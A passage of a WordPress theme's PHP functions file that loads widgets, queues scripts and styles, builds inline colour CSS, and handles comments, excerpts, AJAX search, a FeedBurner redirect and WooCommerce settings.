546 $custom = get_post_meta( get_the_ID(), '_mts_custom_menu', true );
547 if ( !empty( $custom ) && isset( $custom[ $location ] ) ) {
548 if ( wp_get_nav_menu_object( $custom[ $location ] ) ) {
549 $args['menu'] = $custom[ $location ];
550 }
551 }
552 }
553
554 return $args;
555}
556add_filter( 'wp_nav_menu_args', 'mts_assign_menu_to_location' );
557
558/*-----------------------------------------------------------------------------------*/
559/* Load Widgets, Actions and Libraries
560/*-----------------------------------------------------------------------------------*/
561
562// Add the 125x125 Ad Block Custom Widget.
563include_once( "functions/widget-ad125.php" );
564
565// Add the 300x250 Ad Block Custom Widget.
566include_once( "functions/widget-ad300.php" );
567
568// Add the Latest Tweets Custom Widget.
569include_once( "functions/widget-tweets.php" );
570
571// Add Recent Posts Widget.
572include_once( "functions/widget-recentposts.php" );
573
574// Add Related Posts Widget.
575include_once( "functions/widget-relatedposts.php" );
576
577// Add Author Posts Widget.
578include_once( "functions/widget-authorposts.php" );
579
580// Add Popular Posts Widget.
581include_once( "functions/widget-popular.php" );
582
583// Add Facebook Like box Widget.
584include_once( "functions/widget-fblikebox.php" );
585
586// Add Social Profile Widget.
587include_once( "functions/widget-social.php" );
588
589// Add Category Posts Widget.
590include_once( "functions/widget-catposts.php" );
591
592// Add Category Posts Widget.
593include_once( "functions/widget-postslider.php" );
594
595// Add Welcome message.
596include_once( "functions/welcome-message.php" );
597
598// Template Functions.
599include_once( "functions/theme-actions.php" );
600
601// Post/page editor meta boxes.
602include_once( "functions/metaboxes.php" );
603
604// TGM Plugin Activation.
605include_once( "functions/plugin-activation.php" );
606
607// AJAX Contact Form - `mts_contact_form()`.
608include_once( 'functions/contact-form.php' );
609
610// Custom menu walker.
611include_once( 'functions/nav-menu.php' );
612
613/*-----------------------------------------------------------------------------------*/
614/* RTL
615/*-----------------------------------------------------------------------------------*/
616if ( ! empty( $mts_options['mts_rtl'] ) ) {
617 /**
618 * RTL language support
619 *
620 * @see mts_load_footer_scripts()
621 */
622 function mts_rtl() {
623 global $wp_locale, $wp_styles;
624 $wp_locale->text_direction = 'rtl';
625 if ( ! is_a( $wp_styles, 'WP_Styles' ) ) {
626 $wp_styles = new WP_Styles();
627 $wp_styles->text_direction = 'rtl';
628 }
629 }
630 add_action( 'init', 'mts_rtl' );
631}
632
633/**
634 * Replace `no-js` with `js` from the body's class name.
635 */
636function mts_nojs_js_class() {
637 echo '<script type="text/javascript">document.documentElement.className = document.documentElement.className.replace( /\bno-js\b/,\'js\' );</script>';
638}
639add_action( 'wp_head', 'mts_nojs_js_class', 1 );
640
641/**
642 * Enqueue .js files.
643 */
644function mts_add_scripts() {
645 $mts_options = get_option( MTS_THEME_NAME );
646
647 wp_enqueue_script( 'jquery' );
648
649 if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
650 wp_enqueue_script( 'comment-reply' );
651 }
652
653 wp_register_script( 'customscript', get_template_directory_uri() . '/js/customscript.js', true );
654 if ( ! empty( $mts_options['mts_show_primary_nav'] ) && ! empty( $mts_options['mts_show_secondary_nav'] ) ) {
655 $nav_menu = 'both';
656 } else {
657 $nav_menu = 'none';
658
659 if ( ! empty( $mts_options['mts_show_primary_nav'] ) ) {
660 $nav_menu = 'primary';
661 } elseif ( ! empty( $mts_options['mts_show_secondary_nav'] ) ) {
662 $nav_menu = 'secondary';
663 }
664 }
665 wp_localize_script(
666 'customscript',
667 'mts_customscript',
668 array(
669 'responsive' => ( empty( $mts_options['mts_responsive'] ) ? false : true ),
670 'nav_menu' => $nav_menu
671 )
672 );
673 wp_enqueue_script( 'customscript' );
674
675 // Animated single post/page header
676 if ( is_singular() ) {
677 $header_animation = mts_get_post_header_effect();
678 if ( 'parallax' == $header_animation ) {
679 wp_enqueue_script( 'jquery-parallax', get_template_directory_uri() . '/js/parallax.js', array( 'jquery' ) );
680 } else if ( 'zoomout' == $header_animation ) {
681 wp_enqueue_script( 'jquery-zoomout', get_template_directory_uri() . '/js/zoomout.js', array( 'jquery' ) );
682 }
683 }
684}
685add_action( 'wp_enqueue_scripts', 'mts_add_scripts' );
686
687/**
688 * Load assets to be loaded in the footer.
689 */
690function mts_load_footer_scripts() {
691 $mts_options = get_option( MTS_THEME_NAME );
692
693 // Slider
694 wp_register_script('owl-carousel', get_template_directory_uri() . '/js/owl.carousel.min.js', array(), null, true);
695 wp_localize_script('owl-carousel', 'slideropts', array('rtl_support' => $mts_options['mts_rtl']));
696 if(!empty($mts_options['mts_featured_slider']) || is_active_widget( false, false, 'mts_post_slider_widget')) {
697 wp_enqueue_script ('owl-carousel');
698 }
699
700 //Lightbox
701 if ( ! empty( $mts_options['mts_lightbox'] ) ) {
702 wp_enqueue_script( 'magnificPopup', get_template_directory_uri() . '/js/jquery.magnific-popup.min.js', array( 'jquery' ) );
703 }
704
705 //Sticky Nav
706 if ( ! empty( $mts_options['mts_sticky_nav'] ) ) {
707 wp_enqueue_script( 'StickyNav', get_template_directory_uri() . '/js/sticky.js' );
708 }
709
710 // RTL
711 if ( ! empty( $mts_options['mts_rtl'] ) ) {
712 wp_enqueue_style( 'mts_rtl', get_template_directory_uri() . '/css/rtl.css', 'sociallyviral-style' );
713 }
714
715 // Lazy Load
716 if ( ! empty( $mts_options['mts_lazy_load'] ) ) {
717 if ( ! empty( $mts_options['mts_lazy_load_thumbs'] ) || ( ! empty( $mts_options['mts_lazy_load_content'] ) && is_singular() ) ) {
718 wp_enqueue_script( 'layzr', get_template_directory_uri() . '/js/layzr.min.js', '', '', true );
719 }
720 }
721
722 // Ajax Load More and Search Results
723 wp_register_script( 'mts_ajax', get_template_directory_uri() . '/js/ajax.js', true );
724 if( ! empty( $mts_options['mts_pagenavigation_type'] ) && $mts_options['mts_pagenavigation_type'] >= 2 && !is_singular() ) {
725 wp_enqueue_script( 'mts_ajax' );
726
727 wp_enqueue_script( 'historyjs', get_template_directory_uri() . '/js/history.js' );
728
729 // Add parameters for the JS
730 global $wp_query;
731 $max = $wp_query->max_num_pages;
732 $paged = ( get_query_var( 'paged' ) > 1 ) ? get_query_var( 'paged' ) : 1;
733 $autoload = ( $mts_options['mts_pagenavigation_type'] == 3 );
734 wp_localize_script(
735 'mts_ajax',
736 'mts_ajax_loadposts',
737 array(
738 'startPage' => $paged,
739 'maxPages' => $max,
740 'nextLink' => next_posts( $max, false ),
741 'autoLoad' => $autoload,
742 'i18n_loadmore' => __( 'Load More', 'sociallyviral' ),
743 'i18n_loading' => __('Loading...', 'sociallyviral' ),
744 'i18n_nomore' => __( 'No more posts.', 'sociallyviral' )
745 )
746 );
747 }
748 if ( ! empty( $mts_options['mts_ajax_search'] ) ) {
749 wp_enqueue_script( 'mts_ajax' );
750 wp_localize_script(
751 'mts_ajax',
752 'mts_ajax_search',
753 array(
754 'url' => admin_url( 'admin-ajax.php' ),
755 'ajax_search' => '1'
756 )
757 );
758 }
759
760}
761add_action( 'wp_footer', 'mts_load_footer_scripts' );
762
763/**
764 * Load CSS files.
765 */
766function mts_enqueue_css() {
767 $mts_options = get_option( MTS_THEME_NAME );
768
769 wp_enqueue_style( 'sociallyviral-stylesheet', get_stylesheet_uri() );
770
771 $handle = 'sociallyviral-stylesheet';
772
773 // Slider
774 // also enqueued in slider widget
775 wp_register_style('owl-carousel', get_template_directory_uri() . '/css/owl.carousel.css', array(), null);
776 if(!empty($mts_options['mts_featured_slider'])) {
777 wp_enqueue_style('owl-carousel');
778 }
779
780 // WooCommerce
781 if ( mts_is_wc_active() ) {
782 wp_register_style( 'woocommerce', get_template_directory_uri() . '/css/woocommerce2.css' );
783 wp_enqueue_style( 'woocommerce' );
784 $handle = 'woocommerce';
785 }
786
787 // Lightbox
788 if ( ! empty( $mts_options['mts_lightbox'] ) ) {
789 wp_register_style( 'magnificPopup', get_template_directory_uri() . '/css/magnific-popup.css' );
790 wp_enqueue_style( 'magnificPopup' );
791 }
792
793 //Font Awesome
794 wp_register_style( 'fontawesome', get_template_directory_uri() . '/css/font-awesome.min.css' );
795 wp_enqueue_style( 'fontawesome' );
796
797 //Responsive
798 if ( ! empty( $mts_options['mts_responsive'] ) ) {
799 wp_enqueue_style( 'responsive', get_template_directory_uri() . '/css/responsive.css' );
800 }
801
802 $mts_sclayout = '';
803 $mts_shareit_left = '';
804 $mts_shareit_right = '';
805 $mts_author = '';
806 $mts_header_section = '';
807 $mts_sidebar_location = '';
808
809 if ( is_page() || is_single() ) {
810 $mts_sidebar_location = get_post_meta( get_the_ID(), '_mts_sidebar_location', true );
811 }
812 if ( $mts_sidebar_location != 'right' && ( $mts_options['mts_layout'] == 'sclayout' || $mts_sidebar_location == 'left' )) {
813 $mts_sclayout = '.article { float: right;}
814 .sidebar.c-4-12 { float: left; }';
815 if( isset( $mts_options['mts_social_button_position'] ) && $mts_options['mts_social_button_position'] == 'floating' ) {
816 $mts_shareit_right = '.shareit { margin: 0 760px 0; border-left: 0; }';
817 }
818 }
819 if ( empty( $mts_options['mts_header_section2'] ) ) {
820 $mts_header_section = '.logo-wrap, .widget-header { display: none; }
821 .navigation { border-top: 0; }
822 #header { min-height: 47px; }';
823 }
824 if ( isset( $mts_options['mts_social_button_position'] ) && $mts_options['mts_social_button_position'] == 'floating' ) {
825 $mts_shareit_left = '.shareit { bottom: 0; left: auto; margin: 0 0 0 -68px; width: 44px; position: fixed; padding: 5px; border:none; border-right: 0;}
826 .share-item {margin: 2px;} .single-prev-next { width: 100%; } .single-prev-next a:nth-child(2) { float: right; } .rrssb-buttons li a .text { display: none; } .rrssb-buttons li.stumbleupon { max-width: 45px; }';
827 }
828 if ( ! empty( $mts_options['mts_author_comment'] ) ) {
829 $mts_author = '.bypostauthor { background: #FAFAFA; padding: 3%!important; box-sizing: border-box; }
830 .bypostauthor .fn:after { content: "'.__( 'Author', 'sociallyviral' ).'"; position: relative; padding: 3px 10px; color: #FFF; font-size: 12px; margin-left: 5px; font-weight: normal; }';
831 }
832 $mts_bg = mts_get_background_styles( 'mts_background' );
833 $custom_css = "
834 body, .sidebar.c-4-12, #header #s {{$mts_bg}}
835
836 #primary-navigation, .navigation ul ul, .pagination a, .pagination .dots, .latestPost-review-wrapper, .single_post .thecategory, .single-prev-next a:hover, .tagcloud a:hover, #commentform input#submit:hover, .contactform #submit:hover, .post-label, .latestPost .review-type-circle.review-total-only, .latestPost .review-type-circle.wp-review-show-total, .bypostauthor .fn:after, #primary-navigation .navigation.mobile-menu-wrapper, #wpmm-megamenu .review-total-only, .owl-controls .owl-dot.active span, .owl-controls .owl-dot:hover span, .owl-prev, .owl-next, .woocommerce a.button, .woocommerce-page a.button, .woocommerce button.button, .woocommerce-page button.button, .woocommerce input.button, .woocommerce-page input.button, .woocommerce #respond input#submit, .woocommerce-page #respond input#submit, .woocommerce #content input.button, .woocommerce-page #content input.button, .woocommerce nav.woocommerce-pagination ul li a, .woocommerce-page nav.woocommerce-pagination ul li a, .woocommerce #content nav.woocommerce-pagination ul li a, .woocommerce-page #content nav.woocommerce-pagination ul li a, .woocommerce .bypostauthor:after, #searchsubmit, .woocommerce nav.woocommerce-pagination ul li span.current, .woocommerce-page nav.woocommerce-pagination ul li span.current, .woocommerce #content nav.woocommerce-pagination ul li span.current, .woocommerce-page #content nav.woocommerce-pagination ul li span.current, .woocommerce nav.woocommerce-pagination ul li a:hover, .woocommerce-page nav.woocommerce-pagination ul li a:hover, .woocommerce #content nav.woocommerce-pagination ul li a:hover, .woocommerce-page #content nav.woocommerce-pagination ul li a:hover, .woocommerce nav.woocommerce-pagination ul li a:focus, .woocommerce-page nav.woocommerce-pagination ul li a:focus, .woocommerce #content nav.woocommerce-pagination ul li a:focus, .woocommerce-page #content nav.woocommerce-pagination ul li a:focus, .woocommerce a.button, .woocommerce-page a.button, .woocommerce button.button, .woocommerce-page button.button, .woocommerce input.button, .woocommerce-page input.button, .woocommerce #respond input#submit, .woocommerce-page #respond input#submit, .woocommerce #content input.button, .woocommerce-page #content input.button { background-color: {$mts_options['mts_color_scheme']}; color: #fff; }
837
838 #searchform .fa-search, .currenttext, .pagination a:hover, .single .pagination a:hover .currenttext, .page-numbers.current, .pagination .nav-previous a:hover, .pagination .nav-next a:hover, .single-prev-next a, .tagcloud a, #commentform input#submit, .contact-form #mtscontact_submit, .woocommerce-product-search input[type='submit'] { background-color: {$mts_options['mts_color_scheme_2']}; }
839
840 .thecontent a, .post .tags a, #commentform a, .author-posts a:hover, .fn a, a { color: {$mts_options['mts_color_scheme']}; }
841
842 .latestPost .title:hover, .latestPost .title a:hover, .post-info a:hover, .single_post .post-info a:hover, .copyrights a:hover, .thecontent a:hover, .breadcrumb a:hover, .sidebar.c-4-12 a:hover, .post .tags a:hover, #commentform a:hover, .author-posts a, .reply a:hover, .ajax-search-results li a:hover, .ajax-search-meta .results-link { color: {$mts_options['mts_color_scheme_2']}; }
843
844 .wpmm-megamenu-showing.wpmm-light-scheme { background-color:{$mts_options['mts_color_scheme']}!important; }
845
846 input#author:hover, input#email:hover, input#url:hover, #comment:hover, .contact-form input:hover, .contact-form textarea:hover, .woocommerce-product-search input[type='submit'] { border-color: {$mts_options['mts_color_scheme_2']}; }
847
848 {$mts_sclayout}
849 {$mts_shareit_left}
850 {$mts_shareit_right}
851 {$mts_author}
852 {$mts_header_section}
853 {$mts_options['mts_custom_css']}
854 ";
855 wp_add_inline_style( $handle, $custom_css );
856}
857add_action( 'wp_enqueue_scripts', 'mts_enqueue_css', 99 );
858
859/**
860 * Wrap videos in .responsive-video div
861 *
862 * @param $html
863 * @param $url
864 * @param $attr
865 *
866 * @return string
867 */
868function mts_responsive_video( $html, $url, $attr ) {
869
870 // Only video embeds
871 $video_providers = array(
872 'youtube',
873 'vimeo',
874 'dailymotion',
875 'wordpress.tv',
876 'vine.co',
877 'animoto',
878 'blip.tv',
879 'collegehumor.com',
880 'funnyordie.com',
881 'hulu.com',
882 'revision3.com',
883 'ted.com',
884 );
885
886 // Allow user to wrap other embeds
887 $providers = apply_filters('mts_responsive_video', $video_providers );
888
889 foreach ( $providers as $provider ) {
890 if ( strstr($url, $provider) ) {
891 $html = '<div class="flex-video flex-video-' . sanitize_html_class( $provider ) . '">' . $html . '</div>';
892 break;// Break if video found
893 }
894 }
895
896 return $html;
897}
898add_filter( 'embed_oembed_html', 'mts_responsive_video', 99, 3 );
899
900if ( ! function_exists( 'mts_comments' ) ) {
901 /**
902 * Custom comments template.
903 * @param $comment
904 * @param $args
905 * @param $depth
906 */
907 function mts_comments( $comment, $args, $depth ) {
908 $GLOBALS['comment'] = $comment;
909 $mts_options = get_option( MTS_THEME_NAME ); ?>
910 <li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
911 <?php
912 switch( $comment->comment_type ) :
913 case 'pingback':
914 case 'trackback': ?>
915 <div id="comment-<?php comment_ID(); ?>">
916 <div class="comment-author vcard">
917 Pingback: <?php comment_author_link(); ?>
918 <?php if ( ! empty( $mts_options['mts_comment_date'] ) ) { ?>
919 <span class="ago"><?php comment_date( get_option( 'date_format' ) ); ?></span>
920 <?php } ?>
921 <span class="comment-meta">
922 <?php edit_comment_link( __( '( Edit )', 'sociallyviral' ), ' ', '' ) ?>
923 </span>
924 </div>
925 <?php if ( $comment->comment_approved == '0' ) : ?>
926 <em><?php _e( 'Your comment is awaiting moderation.', 'sociallyviral' ) ?></em>
927 <br />
928 <?php endif; ?>
929 </div>
930 <?php
931 break;
932
933 default: ?>
934 <div id="comment-<?php comment_ID(); ?>" itemscope itemtype="http://schema.org/UserComments">
935 <div class="comment-author vcard">
936 <?php echo get_avatar( $comment->comment_author_email, 50 ); ?>
937 <?php printf( '<span class="fn" itemprop="creator" itemscope itemtype="http://schema.org/Person"><span itemprop="name">%s</span></span>', get_comment_author_link() ) ?>
938 <?php if ( ! empty( $mts_options['mts_comment_date'] ) ) { ?>
939 <span class="ago"><?php comment_date( get_option( 'date_format' ) ); ?></span>
940 <?php } ?>
941 <span class="comment-meta">
942 <?php edit_comment_link( __( '( Edit )', 'sociallyviral' ), ' ', '' ) ?>
943 </span>
944 </div>
945 <?php if ( $comment->comment_approved == '0' ) : ?>
946 <em><?php _e( 'Your comment is awaiting moderation.', 'sociallyviral' ) ?></em>
947 <br />
948 <?php endif; ?>
949 <div class="commentmetadata">
950 <div class="commenttext" itemprop="commentText">
951 <?php comment_text() ?>
952 </div>
953 <div class="reply">
954 <?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] )) ) ?>
955 </div>
956 </div>
957 </div>
958 <?php
959 break;
960 endswitch; ?>
961 <!-- WP adds </li> -->
962 <?php }
963}
964
965/**
966 * Increase excerpt length to 100.
967 *
968 * @param $length
969 *
970 * @return int
971 */
972function mts_excerpt_length( $length ) {
973 return 100;
974}
975add_filter( 'excerpt_length', 'mts_excerpt_length', 20 );
976
977/**
978 * Remove [...] and shortcodes
979 *
980 * @param $output
981 *
982 * @return string
983 */
984function mts_custom_excerpt( $output ) {
985 return preg_replace( '/\[[^\]]*]/', '', $output );
986}
987add_filter( 'get_the_excerpt', 'mts_custom_excerpt' );
988
989/**
990 * Truncate string to x letters/words.
991 *
992 * @param $str
993 * @param int $length
994 * @param string $units
995 * @param string $ellipsis
996 *
997 * @return string
998 */
999function mts_truncate( $str, $length = 40, $units = 'letters', $ellipsis = ' …' ) {
1000 if ( $units == 'letters' ) {
1001 if ( mb_strlen( $str ) > $length ) {
1002 return mb_substr( $str, 0, $length ) . $ellipsis;
1003 } else {
1004 return $str;
1005 }
1006 } else {
1007 $words = explode( ' ', $str );
1008 if ( count( $words ) > $length ) {
1009 return implode( " ", array_slice( $words, 0, $length ) ) . $ellipsis;
1010 } else {
1011 return $str;
1012 }
1013 }
1014}
1015
1016if ( ! function_exists( 'mts_excerpt' ) ) {
1017 /**
1018 * Get HTML-escaped excerpt up to the specified length.
1019 *
1020 * @param int $limit
1021 *
1022 * @return string
1023 */
1024 function mts_excerpt( $limit = 40 ) {
1025 return esc_html( mts_truncate( get_the_excerpt(), $limit, 'words' ) );
1026 }
1027}
1028
1029/**
1030 * Change the "read more..." link to "".
1031 * @param $more_link
1032 * @param $more_link_text
1033 *
1034 * @return string
1035 */
1036function mts_remove_more_link( $more_link, $more_link_text ) {
1037 return '';
1038}
1039add_filter( 'the_content_more_link', 'mts_remove_more_link', 10, 2 );
1040
1041/**
1042 * Shorthand function to check for more tag in post.
1043 *
1044 * @return bool|int
1045 */
1046function mts_post_has_moretag() {
1047 return strpos( get_the_content(), '<!--more-->' );
1048}
1049
1050if ( ! function_exists( 'mts_readmore' ) ) {
1051 /**
1052 * Display a "read more" link.
1053 */
1054 function mts_readmore() {
1055 ?>
1056 <div class="readMore">
1057 <a href="<?php echo esc_url( get_the_permalink() ); ?>" title="<?php echo esc_attr( get_the_title() ); ?>">
1058 <?php _e( 'Read More', 'sociallyviral' ); ?>
1059 </a>
1060 </div>
1061 <?php
1062 }
1063}
1064
1065/**
1066 * Exclude trackbacks from the comment count.
1067 *
1068 * @param $count
1069 *
1070 * @return int
1071 */
1072function mts_comment_count( $count ) {
1073 if ( ! is_admin() ) {
1074 global $id;
1075 $comments = get_comments( 'status=approve&post_id=' . $id );
1076 $comments_by_type = separate_comments( $comments );
1077 return count( $comments_by_type['comment'] );
1078 } else {
1079 return $count;
1080 }
1081}
1082add_filter( 'get_comments_number', 'mts_comment_count', 0 );
1083
1084/**
1085 * Add `has_thumb` to the post's class name if it has a thumbnail.
1086 *
1087 * @param $classes
1088 *
1089 * @return array
1090 */
1091function has_thumb_class( $classes ) {
1092 if( has_post_thumbnail( get_the_ID() ) ) { $classes[] = 'has_thumb'; }
1093 return $classes;
1094}
1095add_filter( 'post_class', 'has_thumb_class' );
1096
1097/*-----------------------------------------------------------------------------------*/
1098/*
1099/*-----------------------------------------------------------------------------------*/
1100if ( ! function_exists( '_wp_render_title_tag' ) ) {
1101 /**
1102 * Add the title tag for compability with older WP versions.
1103 */
1104 function theme_slug_render_title() { ?>
1105 <title><?php wp_title( '|', true, 'right' ); ?></title>
1106 <?php }
1107 add_action( 'wp_head', 'theme_slug_render_title' );
1108}
1109
1110/**
1111 * Handle AJAX search queries.
1112 */
1113function ajax_mts_search() {
1114 $query = $_REQUEST['q']; // It goes through esc_sql() in WP_Query
1115 $search_query = new WP_Query( array( 's' => $query, 'posts_per_page' => 3, 'post_status' => 'publish' ));
1116 $search_count = new WP_Query( array( 's' => $query, 'posts_per_page' => -1, 'post_status' => 'publish' ));
1117 $search_count = $search_count->post_count;
1118 if ( !empty( $query ) && $search_query->have_posts() ) :
1119 //echo '<h5>Results for: '. $query.'</h5>';
1120 echo '<ul class="ajax-search-results">';
1121 while ( $search_query->have_posts() ) : $search_query->the_post();
1122 ?><li>
1123 <a href="<?php echo esc_url( get_the_permalink() ); ?>">
1124 <?php if ( has_post_thumbnail() ) { ?>
1125 <?php the_post_thumbnail( 'sociallyviral-widgetthumb', array( 'title' => '' ) ); ?>
1126 <?php } else { ?>
1127 <img class="wp-post-image" src="<?php echo get_template_directory_uri() . '/images/nothumb-widgetthumb.png'; ?>" alt="<?php echo esc_attr( get_the_title() ); ?>"/>
1128 <?php } ?>
1129 <?php the_title(); ?>
1130 </a>
1131 <div class="meta">
1132 <span class="thetime"><?php the_time( 'F j, Y' ); ?></span>
1133 </div> <!-- / .meta -->
1134 </li>
1135 <?php
1136 endwhile;
1137 echo '</ul>';
1138 echo '<div class="ajax-search-meta"><span class="results-count">'.$search_count.' '.__( 'Results', 'sociallyviral' ).'</span><a href="'.esc_url( get_search_link( $query ) ).'" class="results-link">'.__('Show all results.', 'sociallyviral' ).'</a></div>';
1139 else:
1140 echo '<div class="no-results">'.__( 'No results found.', 'sociallyviral' ).'</div>';
1141 endif;
1142 wp_reset_postdata();
1143 exit; // required for AJAX in WP
1144}
1145if( !empty( $mts_options['mts_ajax_search'] )) {
1146 add_action( 'wp_ajax_mts_search', 'ajax_mts_search' );
1147 add_action( 'wp_ajax_nopriv_mts_search', 'ajax_mts_search' );
1148}
1149
1150if ( trim( !empty($mts_options['mts_feedburner']) ) !== '' ) {
1151 /**
1152 * Redirect feed to FeedBurner if a FeedBurner URL has been set.
1153 */
1154 function mts_rss_feed_redirect() {
1155 $mts_options = get_option( MTS_THEME_NAME );
1156 global $feed;
1157 $new_feed = $mts_options['mts_feedburner'];
1158 if ( !is_feed() ) {
1159 return;
1160 }
1161 if ( preg_match( '/feedburner/i', $_SERVER['HTTP_USER_AGENT'] )){
1162 return;
1163 }
1164 if ( $feed != 'comments-rss2' ) {
1165 if ( function_exists( 'status_header' )) status_header( 302 );
1166 header( "Location:" . $new_feed );
1167 header( "HTTP/1.1 302 Temporary Redirect" );
1168 exit();
1169 }
1170 }
1171 add_action( 'template_redirect', 'mts_rss_feed_redirect' );
1172}
1173
1174/**
1175 * Single Post Pagination - Numbers + Previous/Next.
1176 *
1177 * @param $args
1178 *
1179 * @return mixed
1180 */
1181function mts_wp_link_pages_args( $args ) {
1182 global $page, $numpages, $more, $pagenow;
1183 if ( !$args['next_or_number'] == 'next_and_number' ) {
1184 return $args;
1185 }
1186
1187 $args['next_or_number'] = 'number';
1188
1189 if ( !$more ) {
1190 return $args;
1191 }
1192
1193 if( $page-1 ) {
1194 $args['before'] .= _wp_link_page( $page-1 )
1195 . $args['link_before']. $args['previouspagelink'] . $args['link_after'] . '</a>';
1196 }
1197
1198 if ( $page<$numpages ) {
1199 $args['after'] = _wp_link_page( $page+1 )
1200 . $args['link_before'] . $args['nextpagelink'] . $args['link_after'] . '</a>'
1201 . $args['after'];
1202 }
1203
1204 return $args;
1205}
1206add_filter( 'wp_link_pages_args', 'mts_wp_link_pages_args' );
1207
1208/**
1209 * Remove hentry class from pages
1210 *
1211 * @param $classes
1212 *
1213 * @return array
1214 */
1215function mts_remove_hentry( $classes ) {
1216 if ( is_page() ) {
1217 $classes = array_diff( $classes, array( 'hentry' ) );
1218 }
1219 return $classes;
1220}
1221add_filter( 'post_class','mts_remove_hentry' );
1222
1223/*-----------------------------------------------------------------------------------*/
1224/* WooCommerce
1225/*-----------------------------------------------------------------------------------*/
1226if ( mts_is_wc_active() ) {
1227 if ( !function_exists( 'mts_loop_columns' )) {
1228 /**
1229 * Change number or products per row to 3
1230 *
1231 * @return int
1232 */
1233 function mts_loop_columns() {
1234 return 3; // 3 products per row
1235 }
1236 }
1237 add_filter( 'loop_shop_columns', 'mts_loop_columns' );
1238
1239 /**
1240 * Redefine woocommerce_output_related_products()
1241 */
1242 function woocommerce_output_related_products() {
1243 $args = array(
1244 'posts_per_page' => 3,
1245 'columns' => 3,
1246 );
1247 woocommerce_related_products($args); // Display 3 products in rows of 1
1248 }
1249
1250 global $pagenow;
1251 if ( is_admin() && isset( $_GET['activated'] ) && $pagenow == 'themes.php' ) {
1252 /**
1253 * Define WooCommerce image sizes.
1254 */
1255 function mts_woocommerce_image_dimensions() {
1256 $catalog = array(
1257 'width' => '228', // px
1258 'height' => '312', // px
1259 'crop' => 1 // true
1260 );
1261 $single = array(
1262 'width' => '440', // px
1263 'height' => '600', // px
1264 'crop' => 1 // true
1265 );
1266 $thumbnail = array(
1267 'width' => '75', // px
1268 'height' => '100', // px
1269 'crop' => 0 // false
1270 );
1271 // Image sizes
1272 update_option( 'shop_catalog_image_size', $catalog ); // Product category thumbs
1273 update_option( 'shop_single_image_size', $single ); // Single product image
1274 update_option( 'shop_thumbnail_image_size', $thumbnail ); // Image gallery thumbs
1275 }
1276 add_action( 'init', 'mts_woocommerce_image_dimensions', 1 );
1277 }
1278
1279
1280 /**
1281 * Change the number of product thumbnails to show per row to 4.
1282 *
1283 * @return int
1284 */
1285 function mts_thumb_cols() {
1286 return 3; // .last class applied to every 4th thumbnail
1287 }
1288 add_filter( 'woocommerce_product_thumbnails_columns', 'mts_thumb_cols' );
1289
1290 /**
1291 * Change the number of WooCommerce products to show per page.
1292 *
1293 * @return mixed
1294 */
1295 function mts_products_per_page() {
1296 $mts_options = get_option( MTS_THEME_NAME );
1297 return $mts_options['mts_shop_products'];
1298 }
1299 add_filter( 'loop_shop_per_page', 'mts_products_per_page', 20 );
1300
1301 /**
1302 * Ensure cart contents update when products are added to the cart via AJAX.
1303 *
1304 * @param $fragments
1305 *
1306 * @return mixed
1307 */
1308 function mts_header_add_to_cart_fragment( $fragments ) {
1309 global $woocommerce;
1310 ob_start(); ?>
1311
1312 <a class="cart-contents" href="<?php echo esc_url( $woocommerce->cart->get_cart_url() ); ?>" title="<?php _e( 'View your shopping cart', 'sociallyviral' ); ?>"><?php echo sprintf( _n( '%d item', '%d items', $woocommerce->cart->cart_contents_count, 'sociallyviral' ), $woocommerce->cart->cart_contents_count );?> - <?php echo $woocommerce->cart->get_cart_total(); ?></a>
1313
1314 <?php $fragments['a.cart-contents'] = ob_get_clean();
1315 return $fragments;
1316 }
1317 add_filter( 'add_to_cart_fragments', 'mts_header_add_to_cart_fragment' );
1318
1319 /**
1320 * Optimize WooCommerce Scripts
1321 * Updated for WooCommerce 2.0+
1322 * Remove WooCommerce Generator tag, styles, and scripts from non WooCommerce pages.
1323 */
1324 function mts_child_manage_woocommerce_styles() {
1325 //remove generator meta tag
1326 remove_action( 'wp_head', array( $GLOBALS['woocommerce'], 'generator' ) );
1327
1328 //first check that woo exists to prevent fatal errors
1329 if ( function_exists( 'is_woocommerce' ) ) {
1330 //dequeue scripts and styles
1331 if ( ! is_woocommerce() && ! is_cart() && ! is_checkout() ) {
1332 wp_dequeue_style( 'woocommerce-layout' );
1333 wp_dequeue_style( 'woocommerce-smallscreen' );
1334 wp_dequeue_style( 'woocommerce-general' );
1335 wp_dequeue_style( 'wc-bto-styles' ); //Composites Styles
1336 wp_dequeue_script( 'wc-add-to-cart' );
1337 wp_dequeue_script( 'wc-cart-fragments' );
1338 wp_dequeue_script( 'woocommerce' );
1339 wp_dequeue_script( 'jquery-blockui' );
1340 wp_dequeue_script( 'jquery-placeholder' );
1341 }
1342 }
1343 }
1344 if ( ! empty( $mts_options['mts_optimize_wc'] ) ) {
1345 add_action( 'wp_enqueue_scripts', 'mts_child_manage_woocommerce_styles', 99 );
1346 }
1347
1348 // Remove WooCommerce generator tag.
1349 remove_action('wp_head', 'wc_generator_tag');
1350}
1351
1352/**
1353 * Add <!-- next-page --> button to tinymce.
1354 *
1355 * @param $mce_buttons
1356 *
1357 * @return array
1358 */
1359function mts_wysiwyg_editor( $mce_buttons ) {
1360 $pos = array_search( 'wp_more', $mce_buttons, true );
1361 if ( $pos !== false ) {
1362 $tmp_buttons = array_slice( $mce_buttons, 0, $pos+1 );
1363 $tmp_buttons[] = 'wp_page';
1364 $mce_buttons = array_merge( $tmp_buttons, array_slice( $mce_buttons, $pos+1 ));
1365 }
1366 return $mce_buttons;
1367}
1368add_filter( 'mce_buttons', 'mts_wysiwyg_editor' );
1369
1370/**
1371 * Get Post header animation.
1372 *
1373 * @return string
1374 */
1375function mts_get_post_header_effect() {
1376 $postheader_effect = get_post_meta( get_the_ID(), '_mts_postheader', true );
1377
1378 return $postheader_effect;
1379}
1380
1381/**
1382 * Add Custom Gravatar Support.
1383 *
1384 * @param $avatar_defaults
1385 *
1386 * @return mixed
1387 */
1388function mts_custom_gravatar( $avatar_defaults ) {
1389 $mts_avatar = get_template_directory_uri() . '/images/gravatar.png';
1390 $avatar_defaults[$mts_avatar] = __( 'Custom Gravatar ( /images/gravatar.png )', 'sociallyviral' );
1391 return $avatar_defaults;
1392}
1393add_filter( 'avatar_defaults', 'mts_custom_gravatar' );
1394
1395/**
1396 * Add `.primary-navigation` the WP Mega Menu's
1397 * @param $selector
1398 *
1399 * @return string
1400 */
1401function mts_megamenu_parent_element( $selector ) {
1402 return '#primary-navigation';
1403}
